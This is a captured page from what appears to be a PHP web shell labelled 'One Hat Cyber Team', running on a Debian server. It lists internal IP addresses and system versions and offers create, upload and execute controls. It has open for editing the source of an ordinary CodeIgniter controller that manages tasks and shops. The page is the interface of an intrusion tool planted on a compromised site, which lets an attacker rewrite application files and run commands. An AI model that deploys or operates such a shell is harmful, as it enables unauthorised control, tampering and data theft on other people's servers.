⚝
One Hat Cyber Team
⚝
Your IP:
192.168.31.6
Server IP:
192.168.1.11
Server:
Linux pams 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
PHP Version:
8.2.28
Buat File
|
Buat Folder
Upload File
Eksekusi
Dir :
~
/
var
/
www
/
pams
/
modules
/
Tugas
/
Controllers
/
Edit File: Tugas.php
<?php namespace Modules\Tugas\Controllers; use App\Controllers\BaseController; use Ramsey\Uuid\Uuid; class Tugas extends BaseController { public function index(): string { $data['title'] = 'Tugas'; $data['li_1'] = 'Daftar Tugas'; $data['body'] = 'Modules\Tugas\Views\list'; $data['dt'] = $this->db->table('tugas')->get()->getResult(); $data['dt_toko'] = $this->db->table('toko')->get()->getResult(); foreach ($data['dt_toko'] as $k) { $data['id_toko_pegawai'][$k->id] = $k->nama; } return view('template', $data); } public function table(){ if (!$this->request->isAJAX()) { return $this->response->setStatusCode(403)->setJSON(['message' => 'Direct access is not allowed.']); } $this->response->setHeader('Content-Type', 'application/json'); $draw = $this->request->getGet('draw'); $start = $this->request->getGet('start'); $length = $this->request->getGet('length'); $searchValue = $this->request->getGet('search')['value'] ?? ''; $columns = [ ['db' => 'tugas.id', 'dt' => 'id'], ['db' => 'tugas.nama', 'dt' => 'nm_peg'], ['db' => 'toko.nama', 'dt' => 'nama_toko'], ]; $builder = $this->db->table('tugas'); $builder->join('toko', 'tugas.id_toko = toko.id', 'left'); $builder->select('tugas.id, toko.nama as nama_toko, tugas.nama as nm_peg'); $totalBuilder = clone $builder; $totalRecords = $totalBuilder->countAllResults(false); if (!empty($searchValue)) { $builder->groupStart(); $builder->orLike('CAST(tugas.id AS TEXT)', $searchValue); $builder->orLike('toko.nama', $searchValue); $builder->orLike('tugas.nama', $searchValue); $builder->groupEnd(); } $filteredBuilder = clone $builder; $totalFilteredRecords = $filteredBuilder->countAllResults(false); $orderColumnIndex = $this->request->getGet('order')[0]['column'] ?? 0; $orderDir = $this->request->getGet('order')[0]['dir'] ?? 'asc'; if (isset($columns[$orderColumnIndex]) && $columns[$orderColumnIndex]['db'] !== null) { $builder->orderBy($columns[$orderColumnIndex]['db'], $orderDir); } else { $builder->orderBy('tugas.id', 'asc'); } $builder->limit($length, $start); $query = $builder->get(); $results = $query->getResultArray(); $data = []; foreach ($results as $row) { $row['aksi'] = '<a class="btn btn-sm btn-warning" onclick="add(`'.$row['id'].'`)">Edit</a> <a class="btn btn-sm btn-danger" onclick="hapus(`tugas/delete/'.$row['id'].'`)">Hapus</a></td>'; $data[] = $row; } $response = [ "draw" => intval($draw), "recordsTotal" => intval($totalRecords), "recordsFiltered" => intval($totalFilteredRecords), "data" => $data ]; return $this->response->setJSON($response); } public function add(){ $p = $this->request->getPost(); $id = $p['id']; $rules = [ 'nama' => [ 'label' => 'Nama Lengkap', 'rules' => 'required|min_length[3]|max_length[100]', 'errors' => [ 'required' => '{field} tidak boleh kosong.', 'min_length' => '{field} minimal {param} karakter.', 'max_length' => '{field} maksimal {param} karakter.', ], ], 'id' => [ 'label' => 'id', 'rules' => 'required|numeric|max_length[5]', 'errors' => [ 'required' => '{field} tidak boleh kosong.', 'alpha_numeric' => '{field} hanya boleh angka.', 'max_length' => '{field} maksimal {param} karakter.', ], ], 'id_toko' => [ 'label' => 'id_toko', 'rules' => 'required|numeric|max_length[5]', 'errors' => [ 'required' => '{field} tidak boleh kosong.', 'alpha_numeric' => '{field} hanya boleh angka.', 'max_length' => '{field} maksimal {param} karakter.', ], ] ]; if (! $this->validateData($p,$rules)) { session()->setFlashData(gagal(form_error($this->validator->getErrors()))); return redirect()->to(base_url('tugas')); } $d = [ 'id' => $id, 'nama' => $p['nama'], 'id_toko' => $p['id_toko'], ]; if($this->db->table('tugas')->insert($d)){ session()->setFlashData(success('Berhasil Menyimpan Data')); return redirect()->to(base_url('tugas')); }else{ session()->setFlashData(gagal('Masalah Koneksi Database')); return redirect()->to(base_url('tugas')); } } public function delete($id = null){ if($this->db->table('tugas')->where('id', $id)->delete()){ session()->setFlashData(success('Berhasil Mengapus Data')); return redirect()->to(base_url('tugas')); }else{ session()->setFlashData(gagal('Masalah Koneksi Database')); return redirect()->to(base_url('tugas')); } } public function get($id = null){ $d = $this->db->table('tugas')->where('id', $id)->get()->getRow(); return json_encode($d); } public function edit(){ $p = $this->request->getPost(); $rules = [ 'nama' => [ 'label' => 'Nama Lengkap', 'rules' => 'required|min_length[3]|max_length[100]', 'errors' => [ 'required' => '{field} tidak boleh kosong.', 'min_length' => '{field} minimal {param} karakter.', 'max_length' => '{field} maksimal {param} karakter.', ], ], 'id' => [ 'label' => 'id', 'rules' => 'required|numeric|max_length[5]', 'errors' => [ 'required' => '{field} tidak boleh kosong.', 'alpha_numeric' => '{field} hanya boleh angka.', 'max_length' => '{field} maksimal {param} karakter.', ], ], 'id_toko' => [ 'label' => 'id_toko', 'rules' => 'required|numeric|max_length[5]', 'errors' => [ 'required' => '{field} tidak boleh kosong.', 'alpha_numeric' => '{field} hanya boleh angka.', 'max_length' => '{field} maksimal {param} karakter.', ], ] ]; if (! $this->validateData($p,$rules)) { session()->setFlashData(gagal(form_error($this->validator->getErrors()))); return redirect()->to(base_url('tugas')); } $d = [ 'nama' => $p['nama'], 'id' => $p['id'], 'id_toko' => $p['id_toko'], ]; if($this->db->table('tugas')->where('id', $p['id'])->update($d)){ session()->setFlashData(success('Berhasil Menyimpan Data')); return redirect()->to(base_url('tugas')); }else{ session()->setFlashData(gagal('Masalah Koneksi Database')); return redirect()->to(base_url('tugas')); } } }
Simpan